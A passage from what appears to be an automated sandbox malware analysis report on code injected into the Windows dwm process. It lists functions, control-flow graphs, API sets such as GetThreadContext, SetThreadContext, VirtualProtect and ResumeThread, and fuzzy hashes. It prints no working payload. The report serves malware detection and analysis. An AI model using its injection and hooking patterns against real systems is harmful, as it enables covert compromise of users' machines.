                                            • Instruction Fuzzy Hash: 03713936311A10CAEB50EF75E8986AD33B5FB84B98F201116DE8E97B68DF38C544C361
                                            Function 000002BAAEDD3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267881526.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaedd0000_dwm.jbxd
                                            Similarity
                                            • API ID: CurrentProcessProtectVirtual$HandleModule
                                            • String ID: wr
                                            • API String ID: 1092925422-2678910430
                                            • Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction ID: 462342938f27d681e7f45fad441101ff68967ea814c45b17604f347c0a4b5bf3
                                            • Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
                                            • Instruction Fuzzy Hash: 7411353A705B8182EF689B21E44C26973B1FB88B95F64002ADEDD87B94EF3DC505C725
                                            Function 000002BAAEDD5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 59 2baaedd5b30-2baaedd5b57 60 2baaedd5b59-2baaedd5b68 59->60 61 2baaedd5b6b-2baaedd5b76 GetCurrentThreadId 59->61 60->61 62 2baaedd5b78-2baaedd5b7d 61->62 63 2baaedd5b82-2baaedd5b89 61->63 64 2baaedd5faf-2baaedd5fc6 call 2baaedd7940 62->64 65 2baaedd5b9b-2baaedd5baf 63->65 66 2baaedd5b8b-2baaedd5b96 call 2baaedd5960 63->66 69 2baaedd5bbe-2baaedd5bc4 65->69 66->64 72 2baaedd5c95-2baaedd5cb6 69->72 73 2baaedd5bca-2baaedd5bd3 69->73 79 2baaedd5e1f-2baaedd5e30 call 2baaedd74bf 72->79 80 2baaedd5cbc-2baaedd5cdc GetThreadContext 72->80 75 2baaedd5bd5-2baaedd5c18 call 2baaedd85c0 73->75 76 2baaedd5c1a-2baaedd5c8d call 2baaedd4510 call 2baaedd44b0 call 2baaedd4470 73->76 87 2baaedd5c90 75->87 76->87 90 2baaedd5e35-2baaedd5e3b 79->90 84 2baaedd5ce2-2baaedd5d03 80->84 85 2baaedd5e1a 80->85 84->85 93 2baaedd5d09-2baaedd5d12 84->93 85->79 87->69 96 2baaedd5efe-2baaedd5f0e 90->96 97 2baaedd5e41-2baaedd5e98 VirtualProtect FlushInstructionCache 90->97 94 2baaedd5d92-2baaedd5da3 93->94 95 2baaedd5d14-2baaedd5d25 93->95 103 2baaedd5e15 94->103 104 2baaedd5da5-2baaedd5dc3 94->104 99 2baaedd5d27-2baaedd5d3c 95->99 100 2baaedd5d8d 95->100 106 2baaedd5f1e-2baaedd5f2a call 2baaedd4df0 96->106 107 2baaedd5f10-2baaedd5f17 96->107 101 2baaedd5ec9-2baaedd5ef9 call 2baaedd78ac 97->101 102 2baaedd5e9a-2baaedd5ea4 97->102 99->100 109 2baaedd5d3e-2baaedd5d88 call 2baaedd3970 SetThreadContext 99->109 100->103 101->90 102->101 110 2baaedd5ea6-2baaedd5ec1 call 2baaedd4390 102->110 104->103 111 2baaedd5dc5-2baaedd5e10 call 2baaedd3900 call 2baaedd74dd 104->111 120 2baaedd5f2f-2baaedd5f35 106->120 107->106 113 2baaedd5f19 call 2baaedd43e0 107->113 109->100 110->101 111->103 113->106 124 2baaedd5f77-2baaedd5f95 120->124 125 2baaedd5f37-2baaedd5f75 ResumeThread call 2baaedd78ac 120->125 128 2baaedd5f97-2baaedd5fa6 124->128 129 2baaedd5fa9 124->129 125->120 128->129 129->64
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267881526.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaedd0000_dwm.jbxd
                                            Similarity
                                            • API ID: Thread$Current$Context
                                            • String ID:
                                            • API String ID: 1666949209-0
                                            • Opcode ID: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
                                            • Instruction ID: 495d57ed8553111e4e128e1b6255c028dc87b89d2567e538d286b7ba3df4ff32
                                            • Opcode Fuzzy Hash: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
                                            • Instruction Fuzzy Hash: 71D1A936209B88C6DA70DB1AE49835A77B0F7C8B84F200516EACD87BA9DF3DC551CB51
                                            Function 000002BAAEDD50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 131 2baaedd50d0-2baaedd50fc 132 2baaedd50fe-2baaedd5106 131->132 133 2baaedd510d-2baaedd5116 131->133 132->133 134 2baaedd5127-2baaedd5130 133->134 135 2baaedd5118-2baaedd5120 133->135 136 2baaedd5132-2baaedd513a 134->136 137 2baaedd5141-2baaedd514a 134->137 135->134 136->137 138 2baaedd5156-2baaedd5161 GetCurrentThreadId 137->138 139 2baaedd514c-2baaedd5151 137->139 141 2baaedd5163-2baaedd5168 138->141 142 2baaedd516d-2baaedd5174 138->142 140 2baaedd56d3-2baaedd56da 139->140 141->140 143 2baaedd5176-2baaedd517c 142->143 144 2baaedd5181-2baaedd518a 142->144 143->140 145 2baaedd5196-2baaedd51a2 144->145 146 2baaedd518c-2baaedd5191 144->146 147 2baaedd51a4-2baaedd51c9 145->147 148 2baaedd51ce-2baaedd5225 call 2baaedd56e0 * 2 145->148 146->140 147->140 153 2baaedd5227-2baaedd522e 148->153 154 2baaedd523a-2baaedd5243 148->154 155 2baaedd5236 153->155 156 2baaedd5230 153->156 157 2baaedd5255-2baaedd525e 154->157 158 2baaedd5245-2baaedd5252 154->158 155->154 160 2baaedd52a6-2baaedd52aa 155->160 159 2baaedd52b0-2baaedd52b6 156->159 161 2baaedd5273-2baaedd5298 call 2baaedd7870 157->161 162 2baaedd5260-2baaedd5270 157->162 158->157 164 2baaedd52b8-2baaedd52d4 call 2baaedd4390 159->164 165 2baaedd52e5-2baaedd52eb 159->165 160->159 172 2baaedd529e 161->172 173 2baaedd532d-2baaedd5342 call 2baaedd3cc0 161->173 162->161 164->165 174 2baaedd52d6-2baaedd52de 164->174 167 2baaedd5315-2baaedd5328 165->167 168 2baaedd52ed-2baaedd530c call 2baaedd78ac 165->168 167->140 168->167 172->160 178 2baaedd5344-2baaedd534c 173->178 179 2baaedd5351-2baaedd535a 173->179 174->165 178->160 180 2baaedd536c-2baaedd53ba call 2baaedd8c60 179->180 181 2baaedd535c-2baaedd5369 179->181 184 2baaedd53c2-2baaedd53ca 180->184 181->180 185 2baaedd54d7-2baaedd54df 184->185 186 2baaedd53d0-2baaedd54bb call 2baaedd7440 184->186 188 2baaedd5523-2baaedd552b 185->188 189 2baaedd54e1-2baaedd54f4 call 2baaedd4590 185->189 198 2baaedd54bf-2baaedd54ce call 2baaedd4060 186->198 199 2baaedd54bd 186->199 190 2baaedd5537-2baaedd5546 188->190 191 2baaedd552d-2baaedd5535 188->191 200 2baaedd54f6 189->200 201 2baaedd54f8-2baaedd5521 189->201 196 2baaedd5548 190->196 197 2baaedd554f 190->197 191->190 195 2baaedd5554-2baaedd5561 191->195 202 2baaedd5563 195->202 203 2baaedd5564-2baaedd55b9 call 2baaedd85c0 195->203 196->197 197->195 208 2baaedd54d2 198->208 209 2baaedd54d0 198->209 199->185 200->188 201->185 202->203 210 2baaedd55c8-2baaedd5661 call 2baaedd4510 call 2baaedd4470 VirtualProtect 203->210 211 2baaedd55bb-2baaedd55c3 203->211 208->184 209->185 216 2baaedd5663-2baaedd5668 GetLastError 210->216 217 2baaedd5671-2baaedd56d1 210->217 216->217 217->140
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267881526.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaedd0000_dwm.jbxd
                                            Similarity
                                            • API ID: CurrentThread
                                            • String ID:
                                            • API String ID: 2882836952-0
                                            • Opcode ID: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
                                            • Instruction ID: debfef5cb2b2f1efafcd3bde8b349a94f9ea710e3e20d61597c4b0ade23fd8dd
                                            • Opcode Fuzzy Hash: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
                                            • Instruction Fuzzy Hash: 9402D83221AB84C6EB60DB59E49435ABBB1F3C4794F204416EACE87BA9DF7CC454CB11
                                            Function 000002BAAEDD39E0 Relevance: 4.6, APIs: 3, Instructions: 64memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267881526.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaedd0000_dwm.jbxd
                                            Similarity
                                            • API ID: Virtual$AllocQuery
                                            • String ID:
                                            • API String ID: 31662377-0
                                            • Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
                                            • Instruction ID: e57386cb4ae447fc151b5581e62860c8597a884605dd7c21122e93a40e2eb5d5
                                            • Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
                                            • Instruction Fuzzy Hash: 4131242231BB8481EA71DB19E09939E77B4F388784F201526F5CD86BA9DF7DC540CB16
                                            Function 000002BAAEDD328C Relevance: 4.5, APIs: 3, Instructions: 43threadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267881526.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaedd0000_dwm.jbxd
                                            Similarity
                                            • API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
                                            • String ID:
                                            • API String ID: 1683269324-0
                                            • Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                            • Instruction ID: d9976a28d3edefbc484b26820ec4384613920bc9bede386f6cfe404f3c3adaa6
                                            • Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                            • Instruction Fuzzy Hash: E911803161274082FB60AB25FA8D76933B4E754B44F70512AD9CEC5595EF78C144C273
                                            Function 000002BAAEDD4DF0 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267881526.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaedd0000_dwm.jbxd
                                            Similarity
                                            • API ID: CacheCurrentFlushInstructionProcessProtectVirtual
                                            • String ID:
                                            • API String ID: 3733156554-0
                                            • Opcode ID: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
                                            • Instruction ID: a094a045ce428c8382e8de798b1b9a6c7c6ee4977feabb25ddd08a1ad637c0c8
                                            • Opcode Fuzzy Hash: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
                                            • Instruction Fuzzy Hash: 6EF03A26219B04C0D631DB01E48934EBBB0F388BD4F240116FACD83BA9CB3CC690CB21
                                            Function 000002BAAEDA273C Relevance: 3.2, APIs: 2, Instructions: 187memorylibraryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 265 2baaeda273c-2baaeda27a4 call 2baaeda29d4 * 4 274 2baaeda29b2 265->274 275 2baaeda27aa-2baaeda27ad 265->275 277 2baaeda29b4-2baaeda29d0 274->277 275->274 276 2baaeda27b3-2baaeda27b6 275->276 276->274 278 2baaeda27bc-2baaeda27bf 276->278 278->274 279 2baaeda27c5-2baaeda27e6 VirtualAlloc 278->279 279->274 280 2baaeda27ec-2baaeda280c 279->280 281 2baaeda2838-2baaeda283f 280->281 282 2baaeda280e-2baaeda2836 280->282 283 2baaeda2845-2baaeda2852 281->283 284 2baaeda28df-2baaeda28e6 281->284 282->281 282->282 283->284 287 2baaeda2858-2baaeda286a LoadLibraryA 283->287 285 2baaeda2992-2baaeda29b0 284->285 286 2baaeda28ec-2baaeda2901 284->286 285->277 286->285 288 2baaeda2907 286->288 289 2baaeda286c-2baaeda2878 287->289 290 2baaeda28ca-2baaeda28d2 287->290 293 2baaeda290d-2baaeda2921 288->293 294 2baaeda28c5-2baaeda28c8 289->294 290->287 291 2baaeda28d4-2baaeda28d9 290->291 291->284 296 2baaeda2982-2baaeda298c 293->296 297 2baaeda2923-2baaeda2934 293->297 294->290 295 2baaeda287a-2baaeda287d 294->295 301 2baaeda28a7-2baaeda28b7 295->301 302 2baaeda287f-2baaeda28a5 295->302 296->285 296->293 299 2baaeda2936-2baaeda293d 297->299 300 2baaeda293f-2baaeda2943 297->300 303 2baaeda2970-2baaeda2980 299->303 304 2baaeda2945-2baaeda294b 300->304 305 2baaeda294d-2baaeda2951 300->305 306 2baaeda28ba-2baaeda28c1 301->306 302->306 303->296 303->297 304->303 308 2baaeda2963-2baaeda2967 305->308 309 2baaeda2953-2baaeda2961 305->309 306->294 308->303 310 2baaeda2969-2baaeda296c 308->310 309->303 310->303
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267820512.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaeda0000_dwm.jbxd
                                            Similarity
                                            • API ID: AllocLibraryLoadVirtual
                                            • String ID:
                                            • API String ID: 3550616410-0
                                            • Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction ID: eb3719fafc7ec8463c302ea4e313405cb53f27c6a32c8c03131f423db2fe9aad
                                            • Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction Fuzzy Hash: 46612532B0169087DB64CF2AD40872DB3B2FB54FA4F688525DE9D07788DB38D962C721
                                            Function 000002BAAEDD1ABC Relevance: 3.1, APIs: 2, Instructions: 68sleepCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                              • Part of subcall function 000002BAAEDD1628: GetProcessHeap.KERNEL32 ref: 000002BAAEDD1633
                                              • Part of subcall function 000002BAAEDD1628: HeapAlloc.KERNEL32 ref: 000002BAAEDD1642
                                              • Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD16B2
                                              • Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD16DF
                                              • Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD16F9
                                              • Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD1719
                                              • Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD1734
                                              • Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD1754
                                              • Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD176F
                                              • Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD178F
                                              • Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD17AA
                                              • Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD17CA
                                            • Sleep.KERNEL32 ref: 000002BAAEDD1AD7
                                            • SleepEx.KERNELBASE ref: 000002BAAEDD1ADD
                                              • Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD17E5
                                              • Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD1805
                                              • Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD1820
                                              • Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD1840
                                              • Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD185B
                                              • Part of subcall function 000002BAAEDD1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDD187B
                                              • Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD1896
                                              • Part of subcall function 000002BAAEDD1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDD18A0
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267881526.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaedd0000_dwm.jbxd
                                            Similarity
                                            • API ID: CloseOpen$HeapSleep$AllocProcess
                                            • String ID:
                                            • API String ID: 1534210851-0
                                            • Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                            • Instruction ID: 028ec452a4f0b78a77d2aa10aed9f1aa3cfbe43c61dc3217750bbde5e745066d
                                            • Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                            • Instruction Fuzzy Hash: F1310E613026418AFF50DB26DAD93A933B4EB85BC0F25542B9E8DC76D6FF24C851C232
                                            Function 000002BAAEE0273C Relevance: 1.4, APIs: 1, Instructions: 187memoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 350 2baaee0273c-2baaee027a4 call 2baaee029d4 * 4 359 2baaee027aa-2baaee027ad 350->359 360 2baaee029b2 350->360 359->360 361 2baaee027b3-2baaee027b6 359->361 362 2baaee029b4-2baaee029d0 360->362 361->360 363 2baaee027bc-2baaee027bf 361->363 363->360 364 2baaee027c5-2baaee027e6 VirtualAlloc 363->364 364->360 365 2baaee027ec-2baaee0280c 364->365 366 2baaee0280e-2baaee02836 365->366 367 2baaee02838-2baaee0283f 365->367 366->366 366->367 368 2baaee028df-2baaee028e6 367->368 369 2baaee02845-2baaee02852 367->369 370 2baaee028ec-2baaee02901 368->370 371 2baaee02992-2baaee029b0 368->371 369->368 372 2baaee02858-2baaee0286a 369->372 370->371 373 2baaee02907 370->373 371->362 377 2baaee028ca-2baaee028d2 372->377 378 2baaee0286c-2baaee02878 372->378 375 2baaee0290d-2baaee02921 373->375 379 2baaee02982-2baaee0298c 375->379 380 2baaee02923-2baaee02934 375->380 377->372 382 2baaee028d4-2baaee028d9 377->382 381 2baaee028c5-2baaee028c8 378->381 379->371 379->375 384 2baaee0293f-2baaee02943 380->384 385 2baaee02936-2baaee0293d 380->385 381->377 389 2baaee0287a-2baaee0287d 381->389 382->368 387 2baaee0294d-2baaee02951 384->387 388 2baaee02945-2baaee0294b 384->388 386 2baaee02970-2baaee02980 385->386 386->379 386->380 392 2baaee02963-2baaee02967 387->392 393 2baaee02953-2baaee02961 387->393 388->386 390 2baaee0287f-2baaee028a5 389->390 391 2baaee028a7-2baaee028b7 389->391 394 2baaee028ba-2baaee028c1 390->394 391->394 392->386 395 2baaee02969-2baaee0296c 392->395 393->386 394->381 395->386
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267980444.000002BAAEE00000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaee00000_dwm.jbxd
                                            Similarity
                                            • API ID: AllocVirtual
                                            • String ID:
                                            • API String ID: 4275171209-0
                                            • Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction ID: 78172ccfd8c0b87b0bd4e19efbe06efee7ae85add5980c363d4ee77a783d7f21
                                            • Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                            • Instruction Fuzzy Hash: 45614736B4169097DBA4CF19D00872D73F2F758B94FA88521CF9907B8ADB38D852C721

                                            Non-executed Functions

                                            Function 000002BAAEE06910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 569 2baaee06910-2baaee06916 570 2baaee06951-2baaee0695b 569->570 571 2baaee06918-2baaee0691b 569->571 574 2baaee06a78-2baaee06a8d 570->574 572 2baaee0691d-2baaee06920 571->572 573 2baaee06945-2baaee06984 call 2baaee06fc0 571->573 575 2baaee06922-2baaee06925 572->575 576 2baaee06938 __scrt_dllmain_crt_thread_attach 572->576 589 2baaee0698a-2baaee0699f call 2baaee06e54 573->589 590 2baaee06a52 573->590 577 2baaee06a9c-2baaee06ab6 call 2baaee06e54 574->577 578 2baaee06a8f 574->578 581 2baaee06931-2baaee06936 call 2baaee06f04 575->581 582 2baaee06927-2baaee06930 575->582 585 2baaee0693d-2baaee06944 576->585 592 2baaee06aef-2baaee06b20 call 2baaee07190 577->592 593 2baaee06ab8-2baaee06aed call 2baaee06f7c call 2baaee06e1c call 2baaee07318 call 2baaee07130 call 2baaee07154 call 2baaee06fac 577->593 583 2baaee06a91-2baaee06a9b 578->583 581->585 601 2baaee06a6a-2baaee06a77 call 2baaee07190 589->601 602 2baaee069a5-2baaee069b6 call 2baaee06ec4 589->602 594 2baaee06a54-2baaee06a69 590->594 603 2baaee06b31-2baaee06b37 592->603 604 2baaee06b22-2baaee06b28 592->604 593->583 601->574 622 2baaee06a07-2baaee06a11 call 2baaee07130 602->622 623 2baaee069b8-2baaee069dc call 2baaee072dc call 2baaee06e0c call 2baaee06e38 call 2baaee0ac0c 602->623 610 2baaee06b7e-2baaee06b94 call 2baaee0268c 603->610 611 2baaee06b39-2baaee06b43 603->611 604->603 609 2baaee06b2a-2baaee06b2c 604->609 618 2baaee06c1f-2baaee06c2c 609->618 630 2baaee06bcc-2baaee06bce 610->630 631 2baaee06b96-2baaee06b98 610->631 612 2baaee06b4f-2baaee06b5d call 2baaee15780 611->612 613 2baaee06b45-2baaee06b4d 611->613 619 2baaee06b63-2baaee06b78 call 2baaee06910 612->619 634 2baaee06c15-2baaee06c1d 612->634 613->619 619->610 619->634 622->590 642 2baaee06a13-2baaee06a1f call 2baaee07180 622->642 623->622 671 2baaee069de-2baaee069e5 __scrt_dllmain_after_initialize_c 623->671 632 2baaee06bd0-2baaee06bd3 630->632 633 2baaee06bd5-2baaee06bea call 2baaee06910 630->633 631->630 639 2baaee06b9a-2baaee06bbc call 2baaee0268c call 2baaee06a78 631->639 632->633 632->634 633->634 651 2baaee06bec-2baaee06bf6 633->651 634->618 639->630 663 2baaee06bbe-2baaee06bc6 call 2baaee15780 639->663 659 2baaee06a21-2baaee06a2b call 2baaee07098 642->659 660 2baaee06a45-2baaee06a50 642->660 656 2baaee06c01-2baaee06c11 call 2baaee15780 651->656 657 2baaee06bf8-2baaee06bff 651->657 656->634 657->634 659->660 672 2baaee06a2d-2baaee06a3b 659->672 660->594 663->630 671->622 673 2baaee069e7-2baaee06a04 call 2baaee0abc8 671->673 672->660 673->622
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267980444.000002BAAEE00000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEE00000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaee00000_dwm.jbxd
                                            Similarity
                                            • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                            • String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
                                            • API String ID: 190073905-1786718095
                                            • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction ID: 624eee6c04898b6614bea2924ffbafb408891aa577c9478ede24f054e8013e9b
                                            • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction Fuzzy Hash: F581A061780342A6FAF0AB65945935933F0EB95780F748035A9C947FD6EB38C986C733
                                            Function 000002BAAEDA6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 462 2baaeda6910-2baaeda6916 463 2baaeda6918-2baaeda691b 462->463 464 2baaeda6951-2baaeda695b 462->464 465 2baaeda6945-2baaeda6984 call 2baaeda6fc0 463->465 466 2baaeda691d-2baaeda6920 463->466 467 2baaeda6a78-2baaeda6a8d 464->467 485 2baaeda6a52 465->485 486 2baaeda698a-2baaeda699f call 2baaeda6e54 465->486 468 2baaeda6922-2baaeda6925 466->468 469 2baaeda6938 __scrt_dllmain_crt_thread_attach 466->469 470 2baaeda6a9c-2baaeda6ab6 call 2baaeda6e54 467->470 471 2baaeda6a8f 467->471 473 2baaeda6927-2baaeda6930 468->473 474 2baaeda6931-2baaeda6936 call 2baaeda6f04 468->474 477 2baaeda693d-2baaeda6944 469->477 483 2baaeda6ab8-2baaeda6aed call 2baaeda6f7c call 2baaeda6e1c call 2baaeda7318 call 2baaeda7130 call 2baaeda7154 call 2baaeda6fac 470->483 484 2baaeda6aef-2baaeda6b20 call 2baaeda7190 470->484 475 2baaeda6a91-2baaeda6a9b 471->475 474->477 483->475 496 2baaeda6b22-2baaeda6b28 484->496 497 2baaeda6b31-2baaeda6b37 484->497 489 2baaeda6a54-2baaeda6a69 485->489 494 2baaeda69a5-2baaeda69b6 call 2baaeda6ec4 486->494 495 2baaeda6a6a-2baaeda6a77 call 2baaeda7190 486->495 512 2baaeda69b8-2baaeda69dc call 2baaeda72dc call 2baaeda6e0c call 2baaeda6e38 call 2baaedaac0c 494->512 513 2baaeda6a07-2baaeda6a11 call 2baaeda7130 494->513 495->467 496->497 500 2baaeda6b2a-2baaeda6b2c 496->500 501 2baaeda6b39-2baaeda6b43 497->501 502 2baaeda6b7e-2baaeda6b94 call 2baaeda268c 497->502 508 2baaeda6c1f-2baaeda6c2c 500->508 509 2baaeda6b45-2baaeda6b4d 501->509 510 2baaeda6b4f-2baaeda6b5d call 2baaedb5780 501->510 521 2baaeda6b96-2baaeda6b98 502->521 522 2baaeda6bcc-2baaeda6bce 502->522 515 2baaeda6b63-2baaeda6b78 call 2baaeda6910 509->515 510->515 531 2baaeda6c15-2baaeda6c1d 510->531 512->513 565 2baaeda69de-2baaeda69e5 __scrt_dllmain_after_initialize_c 512->565 513->485 535 2baaeda6a13-2baaeda6a1f call 2baaeda7180 513->535 515->502 515->531 521->522 528 2baaeda6b9a-2baaeda6bbc call 2baaeda268c call 2baaeda6a78 521->528 529 2baaeda6bd5-2baaeda6bea call 2baaeda6910 522->529 530 2baaeda6bd0-2baaeda6bd3 522->530 528->522 559 2baaeda6bbe-2baaeda6bc6 call 2baaedb5780 528->559 529->531 544 2baaeda6bec-2baaeda6bf6 529->544 530->529 530->531 531->508 552 2baaeda6a45-2baaeda6a50 535->552 553 2baaeda6a21-2baaeda6a2b call 2baaeda7098 535->553 549 2baaeda6bf8-2baaeda6bff 544->549 550 2baaeda6c01-2baaeda6c11 call 2baaedb5780 544->550 549->531 550->531 552->489 553->552 564 2baaeda6a2d-2baaeda6a3b 553->564 559->522 564->552 565->513 566 2baaeda69e7-2baaeda6a04 call 2baaedaabc8 565->566 566->513
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267820512.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaeda0000_dwm.jbxd
                                            Similarity
                                            • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                            • String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
                                            • API String ID: 190073905-1786718095
                                            • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction ID: 32cdc5dd754b9265ed1b62c1cf3c1166db28a6efdf1a5dfff2fed84b291f1566
                                            • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                            • Instruction Fuzzy Hash: EE81E021700241C6FA90AF26944D39933F1EB89B80F748425AAED477D6EB39CB65C723
                                            Function 000002BAAEE09944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
